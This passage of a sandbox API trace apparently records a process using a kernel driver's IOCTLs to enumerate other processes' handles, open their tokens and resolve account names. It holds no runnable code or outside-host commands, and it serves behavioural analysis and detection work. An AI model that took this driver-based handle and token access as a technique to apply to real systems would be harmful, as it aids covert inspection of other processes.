cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.941] CloseHandle (hObject=0xc8) returned 1 [0095.941] CloseHandle (hObject=0xc0) returned 1 [0095.941] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.941] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.942] PsLookupProcessByProcessId (in: ProcessId=0xd04, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.942] PsAcquireProcessExitSynchronization () returned 0x0 [0095.942] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880052335d0) [0095.942] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003909a20, HandleInformation=0x0) returned 0x0 [0095.942] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.942] PsReleaseProcessExitSynchronization () returned 0x2 [0095.942] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x23 [0095.942] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.942] ObfDereferenceObject (Object=0xfffffa8003909a20) returned 0x1 [0095.942] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.942] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.942] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.942] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.942] PsLookupProcessByProcessId (in: ProcessId=0xd04, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.942] PsAcquireProcessExitSynchronization () returned 0x0 [0095.942] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880052335d0) [0095.942] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003044d10, HandleInformation=0x0) returned 0x0 [0095.942] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.942] PsReleaseProcessExitSynchronization () returned 0x2 [0095.942] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x23 [0095.942] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233508) returned 0x0 [0095.942] ObfDereferenceObject (Object=0xfffffa8003044d10) returned 0x1 [0095.942] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.942] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.942] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.942] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0095.942] PsLookupProcessByProcessId (in: ProcessId=0xd04, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.942] PsAcquireProcessExitSynchronization () returned 0x0 [0095.942] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880052335d0) [0095.942] ObReferenceObjectByHandle (in: Handle=0x60, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003114670, HandleInformation=0x0) returned 0x0 [0095.942] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.942] PsReleaseProcessExitSynchronization () returned 0x2 [0095.942] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x23 [0095.943] ObQueryNameString (in: Object=0xfffffa8003114670, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0095.943] ObfDereferenceObject (Object=0xfffffa8003114670) returned 0x1 [0095.943] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.943] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.943] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.943] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0095.943] PsLookupProcessByProcessId (in: ProcessId=0xd04, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.943] PsAcquireProcessExitSynchronization () returned 0x0 [0095.943] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880052335d0) [0095.943] ObReferenceObjectByHandle (in: Handle=0x94, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800322b8a0, HandleInformation=0x0) returned 0x0 [0095.943] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.943] PsReleaseProcessExitSynchronization () returned 0x2 [0095.943] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x23 [0095.943] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233508) returned 0x0 [0095.943] ObfDereferenceObject (Object=0xfffffa800322b8a0) returned 0x1 [0095.943] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.943] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.943] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.943] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.943] PsLookupProcessByProcessId (in: ProcessId=0xd04, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.943] PsAcquireProcessExitSynchronization () returned 0x0 [0095.943] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880052335d0) [0095.943] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.943] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.943] PsReleaseProcessExitSynchronization () returned 0x2 [0095.943] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x23 [0095.943] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233550) returned 0x0 [0095.943] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.943] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.943] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.943] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xd14) returned 0xc0 [0095.943] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.943] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800391c060, HandleInformation=0x0) returned 0x0 [0095.944] ObOpenObjectByPointer (in: Object=0xfffffa800391c060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.944] ObfDereferenceObject (Object=0xfffffa800391c060) returned 0x10 [0095.944] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024d98c0 | out: TokenHandle=0xfffffa80024d98c0*=0xc8) returned 0x0 [0095.944] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.944] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.944] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.944] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.945] CloseHandle (hObject=0xc8) returned 1 [0095.945] CloseHandle (hObject=0xc0) returned 1 [0095.945] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.945] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.945] PsLookupProcessByProcessId (in: ProcessId=0xd14, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.945] PsAcquireProcessExitSynchronization () returned 0x0 [0095.945] KeStackAttachProcess (in: PROCESS=0xfffffa800391c060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800391c060, ApcState=0xfffff880052335d0) [0095.945] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002529380, HandleInformation=0x0) returned 0x0 [0095.945] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.945] PsReleaseProcessExitSynchronization () returned 0x2 [0095.945] ObfDereferenceObject (Object=0xfffffa800391c060) returned 0xe [0095.945] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.945] ObfDereferenceObject (Object=0xfffffa8002529380) returned 0x1 [0095.946] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.946] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.946] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.946] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.946] PsLookupProcessByProcessId (in: ProcessId=0xd14, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.946] PsAcquireProcessExitSynchronization () returned 0x0 [0095.946] KeStackAttachProcess (in: PROCESS=0xfffffa800391c060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800391c060, ApcState=0xfffff880052335d0) [0095.946] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002540690, HandleInformation=0x0) returned 0x0 [0095.946] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.946] PsReleaseProcessExitSynchronization () returned 0x2 [0095.946] ObfDereferenceObject (Object=0xfffffa800391c060) returned 0xe [0095.946] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.946] ObfDereferenceObject (Object=0xfffffa8002540690) returned 0x1 [0095.946] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.946] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.946] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xd1c) returned 0xc0 [0095.946] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.946] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80038c9060, HandleInformation=0x0) returned 0x0 [0095.946] ObOpenObjectByPointer (in: Object=0xfffffa80038c9060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.946] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x25 [0095.946] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024d98c0 | out: TokenHandle=0xfffffa80024d98c0*=0xc8) returned 0x0 [0095.946] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.946] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.946] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.946] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.948] CloseHandle (hObject=0xc8) returned 1 [0095.948] CloseHandle (hObject=0xc0) returned 1 [0095.948] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0095.948] PsLookupProcessByProcessId (in: ProcessId=0xd1c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.948] PsAcquireProcessExitSynchronization () returned 0x0 [0095.948] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880052335d0) [0095.948] ObReferenceObjectByHandle (in: Handle=0x4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80028975c0, HandleInformation=0x0) returned 0x0 [0095.948] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.948] PsReleaseProcessExitSynchronization () returned 0x2 [0095.948] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x23 [0095.948] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.948] ObfDereferenceObject (Object=0xfffffa80028975c0) returned 0x3 [0095.948] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.948] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.948] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.948] PsLookupProcessByProcessId (in: ProcessId=0xd1c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.948] PsAcquireProcessExitSynchronization () returned 0x0 [0095.948] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880052335d0) [0095.948] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003835910, HandleInformation=0x0) returned 0x0 [0095.948] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.948] PsReleaseProcessExitSynchronization () returned 0x2 [0095.948] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x23 [0095.948] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002061044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002061044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.948] ObfDereferenceObject (Object=0xfffffa8003835910) returned 0x1 [0095.948] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.948] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.948] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x114, lpOverlapped=0x0) returned 1 [0095.948] PsLookupProcessByProcessId (in: ProcessId=0xd1c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.948] PsAcquireProcessExitSynchronization () returned 0x0 [0095.949] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880052335d0) [0095.949] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80025a9bb0, HandleInformation=0x0) returned 0x0 [0095.949] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.949] PsReleaseProcessExitSynchronization () returned 0x2 [0095.949] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x23 [0095.949] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.949] ObfDereferenceObject (Object=0xfffffa80025a9bb0) returned 0x1 [0095.949] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.949] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.949] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0095.949] PsLookupProcessByProcessId (in: ProcessId=0xd1c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.949] PsAcquireProcessExitSynchronization () returned 0x0 [0095.949] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880052335d0) [0095.949] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80022c7d50, HandleInformation=0x0) returned 0x0 [0095.949] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.949] PsReleaseProcessExitSynchronization () returned 0x2 [0095.949] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x23 [0095.949] ObQueryNameString (in: Object=0xfffffa80038b5900, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.949] ObfDereferenceObject (Object=0xfffffa80022c7d50) returned 0x3 [0095.949] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.949] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.949] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xd24) returned 0xc0 [0095.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.949] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80038d3790, HandleInformation=0x0) returned 0x0 [0095.949] ObOpenObjectByPointer (in: Object=0xfffffa80038d3790, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.949] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x20 [0095.949] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024d98c0 | out: TokenHandle=0xfffffa80024d98c0*=0xc8) returned 0x0 [0095.949] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.949] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.949] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.950] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.951] CloseHandle (hObject=0xc8) returned 1 [0095.951] CloseHandle (hObject=0xc0) returned 1 [0095.951] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.951] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0095.951] PsLookupProcessByProcessId (in: ProcessId=0xd24, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.951] PsAcquireProcessExitSynchronization () returned 0x0 [0095.951] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0) [0095.951] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003989960, HandleInformation=0x0) returned 0x0 